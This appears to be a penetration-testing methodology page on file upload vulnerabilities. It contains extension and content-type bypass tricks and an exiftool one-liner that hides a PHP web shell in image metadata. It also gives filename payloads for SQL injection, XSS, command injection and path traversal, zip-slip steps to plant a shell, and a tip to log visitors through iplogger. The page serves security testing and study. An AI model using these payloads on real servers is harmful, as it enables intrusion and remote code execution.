File Upload
File Upload General Methodology
Try to upload a file with a double extension (ex: file.png.php or file.png.php5).
PHP extensions: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP extensions: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
Try to uppercase some letter(s) of the extension. Like: .pHp, .pHP5, .PhAr ...
Try to upload some double (or more) extension (useful to bypass misconfigured checks that test if a specific extension is just present):
file.png.php
file.png.txt.php
Try to upload some reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code):
ex: file.php.png
Double extension with null character:
ex: file.php%00.png
Add some especial characters at the end of the extension_: %00, %20, (several dots)...._
file.php%00
file.php%20
file.php...... --> In Windows when a file is created with dots at the end those will be removed (so you can bypass filters that checks for .php as extension)
file.php/
_file.php._
Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
It is also possible that the magic bytes are just being checked in the file and you could set them anywhere in the file.
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character â:â will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. âfile.asax:.jpgâ). This file might be edited later using other techniques such as using its short filename. The â::$dataâ pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. âfile.asp::$data.â)
Upload the backdoor with an allowed extension (png) and pray for a misconfiguration that executes the backdoor
Find a vulnerability to rename the file already uploaded (to change the extension).
Find a Local File Inclusion vulnerability to execute the backdoor.
Possible Information disclosure:
Upload several times (and at the same time) the same file with the same name
Upload a file with the name of a file or folder that already exists
Uploading a file with â.â, â..â, or ââŚâ as its name. For instance, in Apache in Windows, if the application saves the uploaded files in â/www/uploads/â directory, the â.â filename will create a file called âuploadsâ in the â/www/â directory.
Upload a file that may not be deleted easily such as ââŚ:.jpgâ in NTFS. (Windows)
Upload a file in Windows with invalid characters such as
|<>*?â
in its name. (Windows)Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar
files are like the .jar
for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)
The .inc
extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Check a lot of possible file upload vulnerabilities with BurpSuit plugin https://github.com/modzero/mod0BurpUploadScanner or use a console application that finds which files can be uploaded and try different tricks to execute code: https://github.com/almandin/fuxploider****
wget File Upload/SSRF Trick
In some occasions you may find that a server is using wget
to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget
will rename the file to "A"*232+".php".
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names
because wget will download the redirected page with the name of the file indicated in the original URL.
From File upload to other vulnerabilities
Set filename to
../../../tmp/lol.png
and try to achieve a path traversalSet filename to
sleep(10)-- -.jpg
and you may be able to achieve a SQL injectionSet filename to
<svg onload=alert(document.comain)>
to achieve a XSSSet filename to
; sleep 10;
to test some command injection (more command injections tricks here)JS file upload + XSS = Service Workers exploitation
****XXE in svg upload****
If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
Hereâs a top 10 list of things that you can achieve by uploading (from link):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Zip File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Decompress in different folders
The decompressed files will be created in unexpected folders.
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
An automated exploit to create this kind of files can be found here: https://github.com/ptoomey3/evilarc
Some python code to create a malicious zip:
To achieve remote command execution I took the following steps:
Create a PHP shell:
Use âfile sprayingâ and create a compressed zip file:
3.Use a hexeditor or vi and change the âxxAâ to â../â, I used vi:
Done!
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
Embedding PHP Shell on PGN
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.
Read this post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a GIFAR is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file (PHp ARchive) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Last updated